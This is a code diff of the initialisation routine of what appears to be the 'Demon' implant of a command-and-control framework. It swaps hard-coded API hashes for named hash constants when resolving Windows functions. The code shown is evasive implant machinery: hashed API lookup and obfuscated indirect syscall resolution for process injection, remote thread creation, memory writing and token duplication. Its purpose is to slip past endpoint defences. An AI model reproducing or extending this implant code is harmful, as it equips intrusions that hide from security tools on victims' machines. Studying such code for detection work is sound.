|
|
|
@@ -268,88 +268,88 @@ VOID DemonInit( VOID )
|
|
|
|
|
if ( ( ! Instance.Modules.Kernel32 ) || ( Instance.Modules.Ntdll ) )
|
|
|
|
|
{
|
|
|
|
|
// Ntdll
|
|
|
|
|
Instance.Win32.LdrGetProcedureAddress = LdrFunctionAddr( Instance.Modules.Ntdll, 0x2e5a99f6 );
|
|
|
|
|
Instance.Win32.LdrLoadDll = LdrFunctionAddr( Instance.Modules.Ntdll, 0x307db23 );
|
|
|
|
|
Instance.Win32.RtlAllocateHeap = LdrFunctionAddr( Instance.Modules.Ntdll, 0xc0b381da );
|
|
|
|
|
Instance.Win32.RtlReAllocateHeap = LdrFunctionAddr( Instance.Modules.Ntdll, 0xc0b381da );
|
|
|
|
|
Instance.Win32.RtlFreeHeap = LdrFunctionAddr( Instance.Modules.Ntdll, 0x70ba71d7 );
|
|
|
|
|
Instance.Win32.RtlExitUserThread = LdrFunctionAddr( Instance.Modules.Ntdll, 0x8e492b88 );
|
|
|
|
|
Instance.Win32.RtlExitUserProcess = LdrFunctionAddr( Instance.Modules.Ntdll, 0x3aa1f0ef );
|
|
|
|
|
Instance.Win32.RtlRandomEx = LdrFunctionAddr( Instance.Modules.Ntdll, 0x7c3439f5 );
|
|
|
|
|
Instance.Win32.RtlNtStatusToDosError = LdrFunctionAddr( Instance.Modules.Ntdll, 0x35abf270 );
|
|
|
|
|
Instance.Win32.RtlGetVersion = LdrFunctionAddr( Instance.Modules.Ntdll, 0x3ca3aa1d );
|
|
|
|
|
Instance.Win32.RtlCreateTimerQueue = LdrFunctionAddr( Instance.Modules.Ntdll, 0xf78fb211 );
|
|
|
|
|
Instance.Win32.RtlCreateTimer = LdrFunctionAddr( Instance.Modules.Ntdll, 0xa5de7c4c );
|
|
|
|
|
Instance.Win32.RtlDeleteTimerQueue = LdrFunctionAddr( Instance.Modules.Ntdll, 0x9561fe90 );
|
|
|
|
|
Instance.Win32.RtlCaptureContext = LdrFunctionAddr( Instance.Modules.Ntdll, 0x7733eed0 );
|
|
|
|
|
Instance.Win32.RtlAddVectoredExceptionHandler = LdrFunctionAddr( Instance.Modules.Ntdll, 0x554bafa9 );
|
|
|
|
|
Instance.Win32.RtlRemoveVectoredExceptionHandler = LdrFunctionAddr( Instance.Modules.Ntdll, 0x880c210e );
|
|
|
|
|
Instance.Win32.NtClose = LdrFunctionAddr( Instance.Modules.Ntdll, 0x8b8e133d );
|
|
|
|
|
Instance.Win32.NtCreateEvent = LdrFunctionAddr( Instance.Modules.Ntdll, 0xca58747d );
|
|
|
|
|
Instance.Win32.NtSetEvent = LdrFunctionAddr( Instance.Modules.Ntdll, 0x4514bd95 );
|
|
|
|
|
Instance.Win32.LdrGetProcedureAddress = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_LdrGetProcedureAddress );
|
|
|
|
|
Instance.Win32.LdrLoadDll = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_LdrLoadDll );
|
|
|
|
|
Instance.Win32.RtlAllocateHeap = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_RtlAllocateHeap );
|
|
|
|
|
Instance.Win32.RtlReAllocateHeap = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_RtlReAllocateHeap );
|
|
|
|
|
Instance.Win32.RtlFreeHeap = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_RtlFreeHeap );
|
|
|
|
|
Instance.Win32.RtlExitUserThread = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_RtlExitUserThread );
|
|
|
|
|
Instance.Win32.RtlExitUserProcess = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_RtlExitUserProcess );
|
|
|
|
|
Instance.Win32.RtlRandomEx = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_RtlRandomEx );
|
|
|
|
|
Instance.Win32.RtlNtStatusToDosError = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_RtlNtStatusToDosError );
|
|
|
|
|
Instance.Win32.RtlGetVersion = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_RtlGetVersion );
|
|
|
|
|
Instance.Win32.RtlCreateTimerQueue = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_RtlCreateTimerQueue );
|
|
|
|
|
Instance.Win32.RtlCreateTimer = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_RtlCreateTimer );
|
|
|
|
|
Instance.Win32.RtlDeleteTimerQueue = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_RtlDeleteTimerQueue );
|
|
|
|
|
Instance.Win32.RtlCaptureContext = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_RtlCaptureContext );
|
|
|
|
|
Instance.Win32.RtlAddVectoredExceptionHandler = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_RtlAddVectoredExceptionHandler );
|
|
|
|
|
Instance.Win32.RtlRemoveVectoredExceptionHandler = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_RtlRemoveVectoredExceptionHandler );
|
|
|
|
|
Instance.Win32.NtClose = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtClose );
|
|
|
|
|
Instance.Win32.NtCreateEvent = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtCreateEvent );
|
|
|
|
|
Instance.Win32.NtSetEvent = LdrFunctionAddr( Instance.Modules.Ntdll, FuncHash_NtSetEvent );
|
|
|
|
|
|
|
|
|
|
// Kernel32
|
|
|
|
|
Instance.Win32.VirtualProtectEx = LdrFunctionAddr( Instance.Modules.Kernel32, 0xd812922a );
|
|
|
|
|
Instance.Win32.VirtualProtect = LdrFunctionAddr( Instance.Modules.Kernel32, 0x844ff18d );
|
|
|
|
|
Instance.Win32.LocalAlloc = LdrFunctionAddr( Instance.Modules.Kernel32, 0x73cebc5b );
|
|
|
|
|
Instance.Win32.LocalReAlloc = LdrFunctionAddr( Instance.Modules.Kernel32, 0xabad9db2 );
|
|
|
|
|
Instance.Win32.LocalFree = LdrFunctionAddr( Instance.Modules.Kernel32, 0xa66df372 );
|
|
|
|
|
Instance.Win32.CreateRemoteThread = LdrFunctionAddr( Instance.Modules.Kernel32, 0xaa30775d );
|
|
|
|
|
Instance.Win32.CreateToolhelp32Snapshot = LdrFunctionAddr( Instance.Modules.Kernel32, 0x66851295 );
|
|
|
|
|
Instance.Win32.CreatePipe = LdrFunctionAddr( Instance.Modules.Kernel32, 0x9a8deee7 );
|
|
|
|
|
Instance.Win32.CreateProcessA = LdrFunctionAddr( Instance.Modules.Kernel32, 0xaeb52e19 );
|
|
|
|
|
Instance.Win32.CreateFileW = LdrFunctionAddr( Instance.Modules.Kernel32, 0xeb96c610 );
|
|
|
|
|
Instance.Win32.GetFullPathNameW = LdrFunctionAddr( Instance.Modules.Kernel32, 0x3524e9fd );
|
|
|
|
|
Instance.Win32.GetFileSize = LdrFunctionAddr( Instance.Modules.Kernel32, 0x7891c520 );
|
|
|
|
|
Instance.Win32.CreateNamedPipeW = LdrFunctionAddr( Instance.Modules.Kernel32, 0x28fe1c03 );
|
|
|
|
|
Instance.Win32.ConvertFiberToThread = LdrFunctionAddr( Instance.Modules.Kernel32, 0x1f194e49 );
|
|
|
|
|
Instance.Win32.CreateFiberEx = LdrFunctionAddr( Instance.Modules.Kernel32, 0x2bac113e );
|
|
|
|
|
Instance.Win32.ReadFile = LdrFunctionAddr( Instance.Modules.Kernel32, 0x71019921 );
|
|
|
|
|
Instance.Win32.VirtualAllocEx = LdrFunctionAddr( Instance.Modules.Kernel32, 0xf36e5ab4 );
|
|
|
|
|
Instance.Win32.WaitForSingleObjectEx = LdrFunctionAddr( Instance.Modules.Kernel32, 0x56bd0197 );
|
|
|
|
|
Instance.Win32.ResumeThread = LdrFunctionAddr( Instance.Modules.Kernel32, 0x74162a6e );
|
|
|
|
|
Instance.Win32.OpenThread = LdrFunctionAddr( Instance.Modules.Kernel32, 0x806cb78f );
|
|
|
|
|
Instance.Win32.Thread32Next = LdrFunctionAddr( Instance.Modules.Kernel32, 0x695209e1 );
|
|
|
|
|
Instance.Win32.Thread32First = LdrFunctionAddr( Instance.Modules.Kernel32, 0x93049a4a );
|
|
|
|
|
Instance.Win32.GetComputerNameExA = LdrFunctionAddr( Instance.Modules.Kernel32, 0xd252a5f3 );
|
|
|
|
|
Instance.Win32.ExitProcess = LdrFunctionAddr( Instance.Modules.Kernel32, 0xb769339e );
|
|
|
|
|
Instance.Win32.GetExitCodeProcess = LdrFunctionAddr( Instance.Modules.Kernel32, 0xe21026f9 );
|
|
|
|
|
Instance.Win32.GetExitCodeThread = LdrFunctionAddr( Instance.Modules.Kernel32, 0xb263c852 );
|
|
|
|
|
Instance.Win32.TerminateProcess = LdrFunctionAddr( Instance.Modules.Kernel32, 0x60af076d );
|
|
|
|
|
Instance.Win32.GetTickCount = LdrFunctionAddr( Instance.Modules.Kernel32, 0x41ad16b9 );
|
|
|
|
|
Instance.Win32.ReadProcessMemory = LdrFunctionAddr( Instance.Modules.Kernel32, 0xb8932459 );
|
|
|
|
|
Instance.Win32.ConvertThreadToFiberEx = LdrFunctionAddr( Instance.Modules.Kernel32, 0xac22a286 );
|
|
|
|
|
Instance.Win32.SwitchToFiber = LdrFunctionAddr( Instance.Modules.Kernel32, 0xc2d09e02 );
|
|
|
|
|
Instance.Win32.DeleteFiber = LdrFunctionAddr( Instance.Modules.Kernel32, 0x1cd85cc0 );
|
|
|
|
|
Instance.Win32.GetThreadContext = LdrFunctionAddr( Instance.Modules.Kernel32, 0xeba2cfc2 );
|
|
|
|
|
Instance.Win32.SetThreadContext = LdrFunctionAddr( Instance.Modules.Kernel32, 0x7e20964e );
|
|
|
|
|
Instance.Win32.AllocConsole = LdrFunctionAddr( Instance.Modules.Kernel32, 0xcddb7fc3 );
|
|
|
|
|
Instance.Win32.FreeConsole = LdrFunctionAddr( Instance.Modules.Kernel32, 0x8afb8c5a );
|
|
|
|
|
Instance.Win32.GetConsoleWindow = LdrFunctionAddr( Instance.Modules.Kernel32, 0xe1db2410 );
|
|
|
|
|
Instance.Win32.GetStdHandle = LdrFunctionAddr( Instance.Modules.Kernel32, 0xf178843c );
|
|
|
|
|
Instance.Win32.SetStdHandle = LdrFunctionAddr( Instance.Modules.Kernel32, 0x3ce0e4c8 );
|
|
|
|
|
Instance.Win32.WaitNamedPipeW = LdrFunctionAddr( Instance.Modules.Kernel32, 0x85741c4 );
|
|
|
|
|
Instance.Win32.PeekNamedPipe = LdrFunctionAddr( Instance.Modules.Kernel32, 0x94f08b9d );
|
|
|
|
|
Instance.Win32.DisconnectNamedPipe = LdrFunctionAddr( Instance.Modules.Kernel32, 0x55668f42 );
|
|
|
|
|
Instance.Win32.WriteFile = LdrFunctionAddr( Instance.Modules.Kernel32, 0x663cecb0 );
|
|
|
|
|
Instance.Win32.ConnectNamedPipe = LdrFunctionAddr( Instance.Modules.Kernel32, 0xc003c602 );
|
|
|
|
|
Instance.Win32.GetCurrentDirectoryW = LdrFunctionAddr( Instance.Modules.Kernel32, 0x2ced73f4 );
|
|
|
|
|
Instance.Win32.GetFileAttributesW = LdrFunctionAddr( Instance.Modules.Kernel32, 0xcc9c6ce3 );
|
|
|
|
|
Instance.Win32.FindFirstFileW = LdrFunctionAddr( Instance.Modules.Kernel32, 0xae2636e5 );
|
|
|
|
|
Instance.Win32.FindNextFileW = LdrFunctionAddr( Instance.Modules.Kernel32, 0xf3b43c5c );
|
|
|
|
|
Instance.Win32.FindClose = LdrFunctionAddr( Instance.Modules.Kernel32, 0xb4e7451c );
|
|
|
|
|
Instance.Win32.FileTimeToSystemTime = LdrFunctionAddr( Instance.Modules.Kernel32, 0x1fb7928b );
|
|
|
|
|
Instance.Win32.SystemTimeToTzSpecificLocalTime = LdrFunctionAddr( Instance.Modules.Kernel32, 0x99a3156a );
|
|
|
|
|
Instance.Win32.RemoveDirectoryW = LdrFunctionAddr( Instance.Modules.Kernel32, 0x4192723f );
|
|
|
|
|
Instance.Win32.DeleteFileW = LdrFunctionAddr( Instance.Modules.Kernel32, 0x1cd8872f );
|
|
|
|
|
Instance.Win32.CreateDirectoryW = LdrFunctionAddr( Instance.Modules.Kernel32, 0x41fac005 );
|
|
|
|
|
Instance.Win32.CopyFileW = LdrFunctionAddr( Instance.Modules.Kernel32, 0xac2253d7 );
|
|
|
|
|
Instance.Win32.InitializeProcThreadAttributeList = LdrFunctionAddr( Instance.Modules.Kernel32, 0x5ca2ca33 );
|
|
|
|
|
Instance.Win32.UpdateProcThreadAttribute = LdrFunctionAddr( Instance.Modules.Kernel32, 0x9c91a68 );
|
|
|
|
|
Instance.Win32.SetCurrentDirectoryW = LdrFunctionAddr( Instance.Modules.Kernel32, 0xbec3a080 );
|
|
|
|
|
Instance.Win32.Wow64DisableWow64FsRedirection = LdrFunctionAddr( Instance.Modules.Kernel32, 0xd859b1d8 );
|
|
|
|
|
Instance.Win32.Wow64RevertWow64FsRedirection = LdrFunctionAddr( Instance.Modules.Kernel32, 0x72f47e1c );
|
|
|
|
|
Instance.Win32.GetModuleHandleA = LdrFunctionAddr( Instance.Modules.Kernel32, 0x5a153f58 );
|
|
|
|
|
Instance.Win32.VirtualProtectEx = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_VirtualProtectEx );
|
|
|
|
|
Instance.Win32.VirtualProtect = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_VirtualProtect );
|
|
|
|
|
Instance.Win32.LocalAlloc = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_LocalAlloc );
|
|
|
|
|
Instance.Win32.LocalReAlloc = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_LocalReAlloc );
|
|
|
|
|
Instance.Win32.LocalFree = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_LocalFree );
|
|
|
|
|
Instance.Win32.CreateRemoteThread = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_CreateRemoteThread );
|
|
|
|
|
Instance.Win32.CreateToolhelp32Snapshot = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_CreateToolhelp32Snapshot );
|
|
|
|
|
Instance.Win32.CreatePipe = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_CreatePipe );
|
|
|
|
|
Instance.Win32.CreateProcessA = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_CreateProcessA );
|
|
|
|
|
Instance.Win32.CreateFileW = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_CreateFileW );
|
|
|
|
|
Instance.Win32.GetFullPathNameW = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_GetFullPathNameW );
|
|
|
|
|
Instance.Win32.GetFileSize = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_GetFileSize );
|
|
|
|
|
Instance.Win32.CreateNamedPipeW = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_CreateNamedPipeW );
|
|
|
|
|
Instance.Win32.ConvertFiberToThread = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_ConvertFiberToThread );
|
|
|
|
|
Instance.Win32.CreateFiberEx = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_CreateFiberEx );
|
|
|
|
|
Instance.Win32.ReadFile = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_ReadFile );
|
|
|
|
|
Instance.Win32.VirtualAllocEx = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_VirtualAllocEx );
|
|
|
|
|
Instance.Win32.WaitForSingleObjectEx = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_WaitForSingleObjectEx );
|
|
|
|
|
Instance.Win32.ResumeThread = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_ResumeThread );
|
|
|
|
|
Instance.Win32.OpenThread = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_OpenThread );
|
|
|
|
|
Instance.Win32.Thread32Next = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_Thread32Next );
|
|
|
|
|
Instance.Win32.Thread32First = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_Thread32First );
|
|
|
|
|
Instance.Win32.GetComputerNameExA = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_GetComputerNameExA );
|
|
|
|
|
Instance.Win32.ExitProcess = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_ExitProcess );
|
|
|
|
|
Instance.Win32.GetExitCodeProcess = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_GetExitCodeProcess );
|
|
|
|
|
Instance.Win32.GetExitCodeThread = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_GetExitCodeThread );
|
|
|
|
|
Instance.Win32.TerminateProcess = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_TerminateProcess );
|
|
|
|
|
Instance.Win32.GetTickCount = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_GetTickCount );
|
|
|
|
|
Instance.Win32.ReadProcessMemory = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_ReadProcessMemory );
|
|
|
|
|
Instance.Win32.ConvertThreadToFiberEx = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_ConvertThreadToFiberEx );
|
|
|
|
|
Instance.Win32.SwitchToFiber = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_SwitchToFiber );
|
|
|
|
|
Instance.Win32.DeleteFiber = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_DeleteFiber );
|
|
|
|
|
Instance.Win32.GetThreadContext = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_GetThreadContext );
|
|
|
|
|
Instance.Win32.SetThreadContext = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_SetThreadContext );
|
|
|
|
|
Instance.Win32.AllocConsole = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_AllocConsole );
|
|
|
|
|
Instance.Win32.FreeConsole = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_FreeConsole );
|
|
|
|
|
Instance.Win32.GetConsoleWindow = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_GetConsoleWindow );
|
|
|
|
|
Instance.Win32.GetStdHandle = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_GetStdHandle );
|
|
|
|
|
Instance.Win32.SetStdHandle = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_SetStdHandle );
|
|
|
|
|
Instance.Win32.WaitNamedPipeW = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_WaitNamedPipeW );
|
|
|
|
|
Instance.Win32.PeekNamedPipe = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_PeekNamedPipe );
|
|
|
|
|
Instance.Win32.DisconnectNamedPipe = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_DisconnectNamedPipe );
|
|
|
|
|
Instance.Win32.WriteFile = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_WriteFile );
|
|
|
|
|
Instance.Win32.ConnectNamedPipe = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_ConnectNamedPipe );
|
|
|
|
|
Instance.Win32.GetCurrentDirectoryW = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_GetCurrentDirectoryW );
|
|
|
|
|
Instance.Win32.GetFileAttributesW = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_GetFileAttributesW );
|
|
|
|
|
Instance.Win32.FindFirstFileW = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_FindFirstFileW );
|
|
|
|
|
Instance.Win32.FindNextFileW = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_FindNextFileW );
|
|
|
|
|
Instance.Win32.FindClose = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_FindClose );
|
|
|
|
|
Instance.Win32.FileTimeToSystemTime = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_FileTimeToSystemTime );
|
|
|
|
|
Instance.Win32.SystemTimeToTzSpecificLocalTime = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_SystemTimeToTzSpecificLocalTime );
|
|
|
|
|
Instance.Win32.RemoveDirectoryW = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_RemoveDirectoryW );
|
|
|
|
|
Instance.Win32.DeleteFileW = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_DeleteFileW );
|
|
|
|
|
Instance.Win32.CreateDirectoryW = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_CreateDirectoryW );
|
|
|
|
|
Instance.Win32.CopyFileW = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_CopyFileW );
|
|
|
|
|
Instance.Win32.InitializeProcThreadAttributeList = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_InitializeProcThreadAttributeList );
|
|
|
|
|
Instance.Win32.UpdateProcThreadAttribute = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_UpdateProcThreadAttribute );
|
|
|
|
|
Instance.Win32.SetCurrentDirectoryW = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_SetCurrentDirectoryW );
|
|
|
|
|
Instance.Win32.Wow64DisableWow64FsRedirection = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_Wow64DisableWow64FsRedirection );
|
|
|
|
|
Instance.Win32.Wow64RevertWow64FsRedirection = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_Wow64RevertWow64FsRedirection );
|
|
|
|
|
Instance.Win32.GetModuleHandleA = LdrFunctionAddr( Instance.Modules.Kernel32, FuncHash_GetModuleHandleA );
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// Check if it's min win xp. no one uses win 95 and below (from Meterpreter)
|
|
|
|
@@ -392,33 +392,33 @@ VOID DemonInit( VOID )
|
|
|
|
|
HMODULE pNtdll = SyscallLdrNtdll();
|
|
|
|
|
DWORD SyscallCounter = SyscallsExtract( pNtdll, Syscalls );
|
|
|
|
|
|
|
|
|
|
Instance.Syscall.NtOpenProcess = SyscallsObf( Syscalls, SyscallCounter, 0x5003c058 );
|
|
|
|
|
Instance.Syscall.NtQueryInformationProcess = SyscallsObf( Syscalls, SyscallCounter, 0xd034fc62 );
|
|
|
|
|
Instance.Syscall.NtQuerySystemInformation = SyscallsObf( Syscalls, SyscallCounter, 0xee4f73a8 );
|
|
|
|
|
Instance.Syscall.NtAllocateVirtualMemory = SyscallsObf( Syscalls, SyscallCounter, 0x6793c34c );
|
|
|
|
|
Instance.Syscall.NtQueueApcThread = SyscallsObf( Syscalls, SyscallCounter, 0xd4612238 );
|
|
|
|
|
Instance.Syscall.NtOpenThread = SyscallsObf( Syscalls, SyscallCounter, 0xfb8a31d1 );
|
|
|
|
|
Instance.Syscall.NtResumeThread = SyscallsObf( Syscalls, SyscallCounter, 0x2c7b3d30 );
|
|
|
|
|
Instance.Syscall.NtSuspendThread = SyscallsObf( Syscalls, SyscallCounter, 0x50febd61 );
|
|
|
|
|
Instance.Syscall.NtCreateEvent = SyscallsObf( Syscalls, SyscallCounter, 0xca58747d );
|
|
|
|
|
Instance.Syscall.NtDuplicateObject = SyscallsObf( Syscalls, SyscallCounter, 0x2388ee19 );
|
|
|
|
|
Instance.Syscall.NtGetContextThread = SyscallsObf( Syscalls, SyscallCounter, 0x9e0e1a44 );
|
|
|
|
|
Instance.Syscall.NtSetContextThread = SyscallsObf( Syscalls, SyscallCounter, 0x308be0d0 );
|
|
|
|
|
Instance.Syscall.NtWaitForSingleObject = SyscallsObf( Syscalls, SyscallCounter, 0x4c6dc63c );
|
|
|
|
|
Instance.Syscall.NtAlertResumeThread = SyscallsObf( Syscalls, SyscallCounter, 0x482e8408 );
|
|
|
|
|
Instance.Syscall.NtSignalAndWaitForSingleObject = SyscallsObf( Syscalls, SyscallCounter, 0x7bdd15cd );
|
|
|
|
|
Instance.Syscall.NtTestAlert = SyscallsObf( Syscalls, SyscallCounter, 0x7915b7df );
|
|
|
|
|
Instance.Syscall.NtCreateThreadEx = SyscallsObf( Syscalls, SyscallCounter, 0xcb0c2130 );
|
|
|
|
|
Instance.Syscall.NtOpenProcessToken = SyscallsObf( Syscalls, SyscallCounter, 0x7bd07459 );
|
|
|
|
|
Instance.Syscall.NtDuplicateToken = SyscallsObf( Syscalls, SyscallCounter, 0x3000ecc3 );
|
|
|
|
|
Instance.Syscall.NtProtectVirtualMemory = SyscallsObf( Syscalls, SyscallCounter, 0x82962c8 );
|
|
|
|
|
Instance.Syscall.NtTerminateThread = SyscallsObf( Syscalls, SyscallCounter, 0xac3c9dc8 );
|
|
|
|
|
Instance.Syscall.NtWriteVirtualMemory = SyscallsObf( Syscalls, SyscallCounter, 0x95f3a792 );
|
|
|
|
|
Instance.Syscall.NtContinue = SyscallsObf( Syscalls, SyscallCounter, 0x780a612c );
|
|
|
|
|
Instance.Syscall.NtReadVirtualMemory = SyscallsObf( Syscalls, SyscallCounter, 0xc24062e3 );
|
|
|
|
|
Instance.Syscall.NtFreeVirtualMemory = SyscallsObf( Syscalls, SyscallCounter, 0x471aa7e9 );
|
|
|
|
|
Instance.Syscall.NtQueryVirtualMemory = SyscallsObf( Syscalls, SyscallCounter, 0xe39d8e5d );
|
|
|
|
|
Instance.Syscall.NtQueryInformationToken = SyscallsObf( Syscalls, SyscallCounter, 0x2ce5a244 );
|
|
|
|
|
Instance.Syscall.NtOpenProcess = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtOpenProcess );
|
|
|
|
|
Instance.Syscall.NtQueryInformationProcess = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtQueryInformationProcess );
|
|
|
|
|
Instance.Syscall.NtQuerySystemInformation = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtQuerySystemInformation );
|
|
|
|
|
Instance.Syscall.NtAllocateVirtualMemory = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtAllocateVirtualMemory );
|
|
|
|
|
Instance.Syscall.NtQueueApcThread = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtQueueApcThread );
|
|
|
|
|
Instance.Syscall.NtOpenThread = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtOpenThread );
|
|
|
|
|
Instance.Syscall.NtResumeThread = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtResumeThread );
|
|
|
|
|
Instance.Syscall.NtSuspendThread = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtSuspendThread );
|
|
|
|
|
Instance.Syscall.NtCreateEvent = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtCreateEvent );
|
|
|
|
|
Instance.Syscall.NtDuplicateObject = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtDuplicateObject );
|
|
|
|
|
Instance.Syscall.NtGetContextThread = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtGetContextThread );
|
|
|
|
|
Instance.Syscall.NtSetContextThread = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtSetContextThread );
|
|
|
|
|
Instance.Syscall.NtWaitForSingleObject = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtWaitForSingleObject );
|
|
|
|
|
Instance.Syscall.NtAlertResumeThread = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtAlertResumeThread );
|
|
|
|
|
Instance.Syscall.NtSignalAndWaitForSingleObject = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtSignalAndWaitForSingleObject );
|
|
|
|
|
Instance.Syscall.NtTestAlert = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtTestAlert );
|
|
|
|
|
Instance.Syscall.NtCreateThreadEx = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtCreateThreadEx );
|
|
|
|
|
Instance.Syscall.NtOpenProcessToken = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtOpenProcessToken );
|
|
|
|
|
Instance.Syscall.NtDuplicateToken = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtDuplicateToken );
|
|
|
|
|
Instance.Syscall.NtProtectVirtualMemory = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtProtectVirtualMemory );
|
|
|
|
|
Instance.Syscall.NtTerminateThread = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtTerminateThread );
|
|
|
|
|
Instance.Syscall.NtWriteVirtualMemory = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtWriteVirtualMemory );
|
|
|
|
|
Instance.Syscall.NtContinue = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtContinue );
|
|
|
|
|
Instance.Syscall.NtReadVirtualMemory = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtReadVirtualMemory );
|
|
|
|
|
Instance.Syscall.NtFreeVirtualMemory = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtFreeVirtualMemory );
|
|
|
|
|
Instance.Syscall.NtQueryVirtualMemory = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtQueryVirtualMemory );
|
|
|
|
|
Instance.Syscall.NtQueryInformationToken = SyscallsObf( Syscalls, SyscallCounter, FuncHash_NtQueryInformationToken );
|
|
|
|
|
|
|
|
|
|
MemSet( Syscalls, 0, sizeof( SYSCALL_STUB ) * MAX_NUMBER_OF_SYSCALLS );
|
|
|
|
|
Instance.Win32.LocalFree( Syscalls );
|
|
|
|
@@ -432,34 +432,34 @@ VOID DemonInit( VOID )
|
|
|
|
|
#endif
|
|
|
|
|
{
|
|
|
|
|
PUTS( "Using Native functions..." )
|
|
|
|
|
Instance.Syscall.NtOpenProcess = LdrFunctionAddr( Instance.Modules.Ntdll, 0x5003c058 );
|
|
|
|
|
Instance.Syscall.NtQueryInformationProcess = LdrFunctionAddr( Instance.Modules.Ntdll, 0xd034fc62 );
|
|
|
|
|
